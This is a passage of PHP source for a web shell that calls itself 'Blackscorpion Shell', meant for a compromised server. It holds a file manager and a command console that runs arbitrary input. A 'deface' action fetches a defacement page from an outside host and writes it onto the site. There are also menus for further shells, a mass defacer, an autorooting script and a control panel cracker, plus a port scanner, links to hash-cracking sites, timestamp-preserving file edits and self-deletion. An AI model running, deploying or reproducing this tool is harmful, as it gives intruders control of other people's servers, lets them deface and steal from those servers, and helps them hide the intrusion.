931 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
932 } elseif($_COOKIE['act'] == 'move') {
933 function move_paste($c,$s,$d){
934 if(is_dir($c.$s)){
935 mkdir($d.$s);
936 $h = @opendir($c.$s);
937 while (($f = @readdir($h)) !== false)
938 if (($f != ".") and ($f != ".."))
939 copy_paste($c.$s.'/',$f, $d.$s.'/');
940 } elseif(@is_file($c.$s))
941 @copy($c.$s, $d.$s);
942 }
943 foreach($_COOKIE['f'] as $f)
944 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
945 } elseif($_COOKIE['act'] == 'zip') {
946 if(class_exists('ZipArchive')) {
947 $zip = new ZipArchive();
948 if ($zip->open($_POST['p2'], 1)) {
949 chdir($_COOKIE['c']);
950 foreach($_COOKIE['f'] as $f) {
951 if($f == '..')
952 continue;
953 if(@is_file($_COOKIE['c'].$f))
954 $zip->addFile($_COOKIE['c'].$f, $f);
955 elseif(@is_dir($_COOKIE['c'].$f)) {
956 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
957 foreach ($iterator as $key=>$value) {
958 $zip->addFile(realpath($key), $key);
959 }
960 }
961 }
962 chdir($GLOBALS['cwd']);
963 $zip->close();
964 }
965 }
966 } elseif($_COOKIE['act'] == 'unzip') {
967 if(class_exists('ZipArchive')) {
968 $zip = new ZipArchive();
969 foreach($_COOKIE['f'] as $f) {
970 if($zip->open($_COOKIE['c'].$f)) {
971 $zip->extractTo($GLOBALS['cwd']);
972 $zip->close();
973 }
974 }
975 }
976 } elseif($_COOKIE['act'] == 'tar') {
977 chdir($_COOKIE['c']);
978 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
979 BlackscorpionEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
980 chdir($GLOBALS['cwd']);
981 }
982 unset($_COOKIE['f']);
983 setcookie('f', '', time() - 3600);
984 break;
985 default:
986 if(!empty($_POST['p1'])) {
987 BlackscorpionsetCoockie('act', $_POST['p1']);
988 BlackscorpionsetCoockie('f', serialize(@$_POST['f']));
989 BlackscorpionsetCoockie('c', @$_POST['c']);
990 }
991 break;
992 }
993 }
994 BlackscorpionHeader();
995 echo '<center><h1>File manager</h1></center><div class=content><script>p1_=p2_=p3_="";</script>';
996 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
997 $def = file_get_contents('http://hexinjector.cu.ma/pwd/deface.php');
998 file_put_contents($_POST['c'].$_POST['p2'],$def);
999 }
1000 $dirContent = BlackscorpionScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1001 if($dirContent === false) { echo 'Can\'t open this folder!';BlackscorpionFooter(); return; }
1002 global $sort;
1003 $sort = array('name', 1);
1004 if(!empty($_POST['p1'])) {
1005 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1006 $sort = array($match[1], (int)$match[2]);
1007 }
1008echo "<script>
1009 function sa() {
1010 for(i=0;i<d.files.elements.length;i++)
1011 if(d.files.elements[i].type == 'checkbox')
1012 d.files.elements[i].checked = d.files.elements[0].checked;
1013 }
1014</script>
1015<table width='100%' class='main' cellspacing='0' cellpadding='2'>
1016<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1017 $dirs = $files = array();
1018 $n = count($dirContent);
1019 for($i=0;$i<$n;$i++) {
1020 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1021 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1022 $tmp = array('name' => $dirContent[$i],
1023 'path' => $GLOBALS['cwd'].$dirContent[$i],
1024 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
1025 'perms' => BlackscorpionColor($GLOBALS['cwd'] . $dirContent[$i]),
1026 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1027 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1028 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1029 );
1030 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
1031 $files[] = array_merge($tmp, array('type' => 'file'));
1032 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
1033 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
1034 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
1035 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1036 }
1037 $GLOBALS['sort'] = $sort;
1038 function BlackscorpionCmp($a, $b) {
1039 if($GLOBALS['sort'][0] != 'size')
1040 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
1041 else
1042 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1043 }
1044 usort($files, "BlackscorpionCmp");
1045 usort($dirs, "BlackscorpionCmp");
1046 $files = array_merge($dirs, $files);
1047 $l = 0;
1048 foreach($files as $f) {
1049 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?BlackscorpionViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1050 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1051 $l = $l?0:1;
1052 }
1053 echo "<tr><td colspan=5>
1054 <input type=hidden name=a value='FilesMan'>
1055 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
1056 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
1057 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
1058 if(class_exists('ZipArchive'))
1059 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
1060 echo "<option value='tar'>Compress (tar.gz)</option>";
1061 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
1062 echo "<option value='paste'>Paste / Compress</option>";
1063 echo "</select> ";
1064 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
1065 echo "file name: <input type=text name=p2 value='Blackscorpion_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
1066 echo '</select> <input type="submit" value=">>"></td><br><td colspan="2" align="right" width="1"> </td></tr>
1067 </form></table></div>';
1068 BlackscorpionFooter();
1069}
1070
1071function actionShells() {
1072 BlackscorpionHeader();
1073echo '<center><h1>Shells By Blackscorpion </h1></center><div class="content">
1074<br>
1075<table border="1%" align="center" cellpadding="10">
1076<tr>
1077<td>Click And Get The Shells</td>
1078<tr><td>
1079<form action="" method="post">
1080<input type = "submit" name="dhanush" value ="Dhanush Shell">
1081</td></tr>
1082<tr><td>
1083<form action="" method="post">
1084<input type = "submit" name="anonghosts" value ="AnonGhosts Shell"></td></tr>
1085<tr><td>
1086<form action="" method="post">
1087<input type = "submit" name="blackhat" value ="BlackHat Shell"></td></tr>
1088<tr><td>
1089<form action="" method="post">
1090<input type = "submit" name="imageshell" value ="Blackscorpion Image Shell"></td></tr>
1091<tr><td>
1092<form action="" method="post">
1093<input type = "submit" name="madspot" value ="Madspot Shell"></td></tr>
1094<tr><td>
1095<form action="" method="post">
1096<input type = "submit" name="pcd" value ="Pak Cyber Defenders Shell"></td></tr>
1097<tr><td>
1098<form action="" method="post">
1099<input type = "submit" name="cheta" value ="Kashimiri Cheetah Shell"></td></tr>
1100<tr><td>
1101<form action="" method="post">
1102<input type = "submit" name="1337worm" value ="1337 Worm Shell"></td></tr>
1103<tr><td>
1104<form action="" method="post">
1105<input type = "submit" name="b374k" value ="b374k Shell"></td></tr>
1106<tr><td>
1107<form action="" method="post">
1108<input type = "submit" name="joker" value ="Joker Shell"></td></tr></div>';
1109 BlackscorpionFooter();
1110}
1111function actionTools(){
1112 BlackscorpionHeader();
1113echo '<center><h1>Tools By Blackscorpion </h1></center><div class="content">
1114<br>
1115<table border="1%" align="center" cellpadding="10">
1116<tr>
1117<td>Click And Get The Tools</td>
1118<tr><td>
1119<form action="" method="post">
1120<input type = "submit" name="symlink" value ="Symlinker"></td></tr>
1121<tr><td>
1122<form action="" method="post">
1123<input type = "submit" name="uploader" value ="Uploader By Blackscorpion "></td></tr>
1124<tr><td>
1125<form action="" method="post">
1126<input type = "submit" name="mass" value ="Mass Defacer"></td></tr>
1127<tr><td>
1128<form action="" method="post">
1129<input type = "submit" name="anoncmd" value ="AnonGhosts Console"></td></tr>
1130<tr><td>
1131<form action="" method="post">
1132<input type = "submit" name="madleets" value ="Madleets Console"></td></tr>
1133<tr><td>
1134<form action="" method="post">
1135<input type = "submit" name="rooter" value ="Autorooting Perl Script"></td></tr>
1136<tr><td>
1137<form action="" method="post">
1138<input type = "submit" name="cpc" value ="Control Panel Cracker"></td></tr></div>';
1139 BlackscorpionFooter();
1140}
1141function actionPortScanner() {
1142 BlackscorpionHeader();
1143 echo '<center><h1>Port Scanner</h1></center>';
1144 echo '<div class="content">';
1145 echo '<form action="" method="post">';
1146
1147 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1148 $start = strip_tags($_POST['start']);
1149 $end = strip_tags($_POST['end']);
1150 $host = strip_tags($_POST['host']);
1151 for($i = $start; $i<=$end; $i++){
1152 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1153 if($fp){
1154 echo 'Port '.$i.' is <font color=green>open</font><br>';
1155 }
1156 flush();
1157 }
1158 } else {
1159 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1160 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1161 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1162 Host: <input type="text" name="host" value="localhost"/><br /><br />
1163 Port start: <input type="text" name="start" value="0"/><br /><br />
1164 Port end:<input type="text" name="end" value="5000"/><br /><br />
1165 <input type="submit" value="ScanPorts" />
1166 </form></center><br /><br />';
1167 }
1168 echo '</div>';
1169 BlackscorpionFooter();
1170}
1171function actionStringTools() {
1172 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1173 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
1174 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1175 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
1176 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1177 $stringTools = array(
1178 'Base64 encode' => 'base64_encode',
1179 'Base64 decode' => 'base64_decode',
1180 'Url encode' => 'urlencode',
1181 'Url decode' => 'urldecode',
1182 'Full urlencode' => 'full_urlencode',
1183 'md5 hash' => 'md5',
1184 'sha1 hash' => 'sha1',
1185 'crypt' => 'crypt',
1186 'CRC32' => 'crc32',
1187 'ASCII to HEX' => 'ascii2hex',
1188 'HEX to ASCII' => 'hex2ascii',
1189 'HEX to DEC' => 'hexdec',
1190 'HEX to BIN' => 'hex2bin',
1191 'DEC to HEX' => 'dechex',
1192 'DEC to BIN' => 'decbin',
1193 'BIN to HEX' => 'binhex',
1194 'BIN to DEC' => 'bindec',
1195 'String to lower case' => 'strtolower',
1196 'String to upper case' => 'strtoupper',
1197 'Htmlspecialchars' => 'htmlspecialchars',
1198 'String length' => 'strlen',
1199 );
1200 if(isset($_POST['ajax'])) {
1201 BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1202 ob_start();
1203 if(in_array($_POST['p1'], $stringTools))
1204 echo $_POST['p1']($_POST['p2']);
1205 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1206 echo strlen($temp), "\n", $temp;
1207 exit;
1208 }
1209 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1210 BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1211 BlackscorpionHeader();
1212 echo '<center><h1>String conversions</h1></center><div class=content>';
1213 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1214 foreach($stringTools as $k => $v)
1215 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1216 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1217 if(!empty($_POST['p1'])) {
1218 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
1219 }
1220 echo"</pre></div><br><h1>Search files:</h1><div class=content>
1221 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
1222 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1223 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
1224 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1225 <tr><td></td><td><input type='submit' value='>>'></td></tr>
1226 </table></form>";
1227 function BlackscorpionRecursiveGlob($path) {
1228 if(substr($path, -1) != '/')
1229 $path.='/';
1230 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
1231 if(is_array($paths)&&@count($paths)) {
1232 foreach($paths as $item) {
1233 if(@is_dir($item)){
1234 if($path!=$item)
1235 BlackscorpionRecursiveGlob($item);
1236 } else {
1237 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
1238 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
1239 }
1240 }
1241 }
1242 }
1243 if(@$_POST['p3'])
1244 BlackscorpionRecursiveGlob($_POST['c']);
1245 echo "</div><br><h1>Search for hash:</h1><div class=content>
1246 <form method='post' target='_blank' name='hf'>
1247 <input type='text' name='hash' style='width:200px;'><br>
1248 <input type='hidden' name='act' value='find'/>
1249 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
1250 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1251 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
1252 </form></div>";
1253 BlackscorpionFooter();
1254}
1255function actionFilesTools() {
1256 if( isset($_POST['p1']) )
1257 $_POST['p1'] = urldecode($_POST['p1']);
1258 if(@$_POST['p2']=='download') {
1259 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
1260 ob_start("ob_gzhandler", 4096);
1261 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1262 if (function_exists("mime_content_type")) {
1263 $type = @mime_content_type($_POST['p1']);
1264 header("Content-Type: " . $type);
1265 } else
1266 header("Content-Type: application/octet-stream");
1267 $fp = @fopen($_POST['p1'], "r");
1268 if($fp) {
1269 while(!@feof($fp))
1270 echo @fread($fp, 1024);
1271 fclose($fp);
1272 }
1273 }exit;
1274 }
1275 if( @$_POST['p2'] == 'mkfile' ) {
1276 if(!file_exists($_POST['p1'])) {
1277 $fp = @fopen($_POST['p1'], 'w');
1278 if($fp) {
1279 $_POST['p2'] = "edit";
1280 fclose($fp);
1281 }
1282 }
1283 }
1284 BlackscorpionHeader();
1285 echo '<h1>File tools</h1><div class=content>';
1286 if( !file_exists(@$_POST['p1']) ) {
1287 echo 'File not exists';
1288 BlackscorpionFooter();
1289 return;
1290 }
1291 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1292 if(!$uid) {
1293 $uid['name'] = @fileowner($_POST['p1']);
1294 $gid['name'] = @filegroup($_POST['p1']);
1295 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1296 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?BlackscorpionViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.BlackscorpionColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1297 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
1298 if( empty($_POST['p2']) )
1299 $_POST['p2'] = 'view';
1300 if( is_file($_POST['p1']) )
1301 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1302 else
1303 $m = array('Chmod', 'Rename', 'Touch');
1304 foreach($m as $v)
1305 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1306 echo '<br><br>';
1307 switch($_POST['p2']) {
1308 case 'view':
1309 echo '<pre class=ml1>';
1310 $fp = @fopen($_POST['p1'], 'r');
1311 if($fp) {
1312 while( !@feof($fp) )
1313 echo htmlspecialchars(@fread($fp, 1024));
1314 @fclose($fp);
1315 }
1316 echo '</pre>';
1317 break;
1318 case 'highlight':
1319 if( @is_readable($_POST['p1']) ) {
1320 echo '<div class=ml1 style="background-color: green;color:black;">';
1321 $code = @highlight_file($_POST['p1'],true);
1322 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1323 }
1324 break;
1325 case 'chmod':
1326 if( !empty($_POST['p3']) ) {
1327 $perms = 0;
1328 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1329 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1330 if(!@chmod($_POST['p1'], $perms))
1331 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1332 }
1333 clearstatcache();
1334 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1335 break;
1336 case 'edit':
1337 if( !is_writable($_POST['p1'])) {
1338 echo 'File isn\'t writeable';
1339 break;
1340 }
1341 if( !empty($_POST['p3']) ) {
1342 $time = @filemtime($_POST['p1']);
1343 $_POST['p3'] = substr($_POST['p3'],1);
1344 $fp = @fopen($_POST['p1'],"w");
1345 if($fp) {
1346 @fwrite($fp,$_POST['p3']);
1347 @fclose($fp);
1348 echo 'Saved!<br><script>p3_="";</script>';
1349 @touch($_POST['p1'],$time,$time);
1350 }
1351 }
1352 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1353 $fp = @fopen($_POST['p1'], 'r');
1354 if($fp) {
1355 while( !@feof($fp) )
1356 echo htmlspecialchars(@fread($fp, 1024));
1357 @fclose($fp);
1358 }
1359 echo '</textarea><input type=submit value=">>"></form>';
1360 break;
1361 case 'hexdump':
1362 $c = @file_get_contents($_POST['p1']);
1363 $n = 0;
1364 $h = array('00000000<br>','','');
1365 $len = strlen($c);
1366 for ($i=0; $i<$len; ++$i) {
1367 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1368 switch ( ord($c[$i]) ) {
1369 case 0: $h[2] .= ' '; break;
1370 case 9: $h[2] .= ' '; break;
1371 case 10: $h[2] .= ' '; break;
1372 case 13: $h[2] .= ' '; break;
1373 default: $h[2] .= $c[$i]; break;
1374 }
1375 $n++;
1376 if ($n == 32) {
1377 $n = 0;
1378 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1379 $h[1] .= '<br>';
1380 $h[2] .= "\n";
1381 }
1382 }
1383 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1384 break;
1385 case 'rename':
1386 if( !empty($_POST['p3']) ) {
1387 if(!@rename($_POST['p1'], $_POST['p3']))
1388 echo 'Can\'t rename!<br>';
1389 else
1390 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1391 }
1392 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1393 break;
1394 case 'touch':
1395 if( !empty($_POST['p3']) ) {
1396 $time = strtotime($_POST['p3']);
1397 if($time) {
1398 if(!touch($_POST['p1'],$time,$time))
1399 echo 'Fail!';
1400 else
1401 echo 'Touched!';
1402 } else echo 'Bad time format!';
1403 }
1404 clearstatcache();
1405 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1406 break;
1407 }
1408 echo '</div>';
1409 BlackscorpionFooter();
1410}
1411function actionConsole() {
1412 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1413 BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1414 $_POST['p1'] .= ' 2>&1';
1415 } elseif(!empty($_POST['p1']))
1416 BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1417 if(isset($_POST['ajax'])) {
1418 BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1419 ob_start();
1420 echo "d.cf.cmd.value='';\n";
1421 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".BlackscorpionEx($_POST['p1']),"\n\r\t\\'\0"));
1422 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1423 if(@chdir($match[1])) {
1424 $GLOBALS['cwd'] = @getcwd();
1425 echo "c_='".$GLOBALS['cwd']."';";
1426 }
1427 }
1428 echo "d.cf.output.value+='".$temp."';";
1429 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1430 $temp = ob_get_clean();
1431 echo strlen($temp), "\n", $temp;
1432 exit;
1433 }
1434 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1435 BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1436 BlackscorpionHeader();
1437 echo "<script>
1438if(window.Event) window.captureEvents(Event.KEYDOWN);
1439var cmds = new Array('');
1440var cur = 0;
1441function kp(e) {
1442 var n = (window.Event) ? e.which : e.keyCode;
1443 if(n == 38) {
1444 cur--;
1445 if(cur>=0)
1446 document.cf.cmd.value = cmds[cur];
1447 else
1448 cur++;
1449 } else if(n == 40) {
1450 cur++;
1451 if(cur < cmds.length)
1452 document.cf.cmd.value = cmds[cur];
1453 else
1454 cur--;
1455 }
1456}
1457function add(cmd) {
1458 cmds.pop();
1459 cmds.push(cmd);
1460 cmds.push('');
1461 cur = cmds.length-1;
1462}
1463</script>";
1464 echo '<center><h1>Console</h1></center><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1465 foreach($GLOBALS['aliases'] as $n => $v) {
1466 if($v == '') {
1467 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1468 continue;
1469 }
1470 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1471 }
1472
1473 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1474 if(!empty($_POST['p1'])) {
1475 echo htmlspecialchars("$ ".$_POST['p1']."\n".BlackscorpionEx($_POST['p1']));
1476 }
1477 echo '</textarea><table style="border:1px solid #df5;background-color:#666;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1478 echo '</form></div><script>d.cf.cmd.focus();</script>';
1479 BlackscorpionFooter();
1480}
1481function actionLogout() {
1482 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1483 die('<!DOCTYPE html>
1484<html>
1485 <head>
1486 <title>Blackscorpion Shell</title>
1487 <meta charset="UTF-8">
1488 <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
1489 <meta name="description" content="Sites description">
1490 <meta name="about" content="Made By Blackscorpion ">
1491 <meta name="description" content="Bye Bye">
1492 <style>
1493 .body {
1494 margin-top: 7vh;
1495 text-transform: capitalize;
1496 background: black url("");
1497 background-repeat:no-repeat;
1498 background-position: center;
1499 background-attachment: fixed;
1500 -webkit-background-size: cover;
1501 -moz-background-size: cover;
1502 -o-background-size: cover;
1503 background-size: cover;
1504 }
1505 .font {
1506 font-family: calibri;
1507 font-size: 300%;
1508 text-align: center;
1509 color: white;
1510 }
1511 .upass {
1512 margin-top: 70vh;
1513 font-family: calibri;
1514 font-size: 100%;
1515 text-align: center;
1516 color: black;
1517 }
1518 </style>
1519 <script language="JavaScript1.2">
1520 function ejs_nodroit(){
1521 alert("Login Please!");
1522 return(false);
1523 }
1524 document.oncontextmenu = ejs_nodroit;
1525 </script>
1526 </head>
1527 <body class="body">
1528 <div class="font">
1529 <font>You Are Going :(<br>Bye :(</font>
1530 </div>
1531 </body>
1532</html>');
1533}
1534function actionSelfRemove() {
1535 if($_POST['p1'] == 'yes')
1536 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1537 die('<!DOCTYPE html>
1538<html>
1539 <head>
1540 <title>Blackscorpion Shell</title>
1541 <meta charset="UTF-8">
1542 <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
1543 <meta name="description" content="Sites description">
1544 <meta name="about" content="Made By Blackscorpion ">
1545 <meta name="description" content="Bye Bye">
1546 <style>
1547 .body {
1548 margin-top: 7vh;
1549 text-transform: capitalize;
1550 background: black url("");
1551 background-repeat:no-repeat;
1552 background-position: center;
1553 background-attachment: fixed;
1554 -webkit-background-size: cover;
1555 -moz-background-size: cover;
1556 -o-background-size: cover;
1557 background-size: cover;
1558 }
1559 .font {
1560 font-family: calibri;
1561 font-size: 300%;
1562 text-align: center;
1563 color: white;
1564 }
1565 .upass {
1566 margin-top: 70vh;
1567 font-family: calibri;
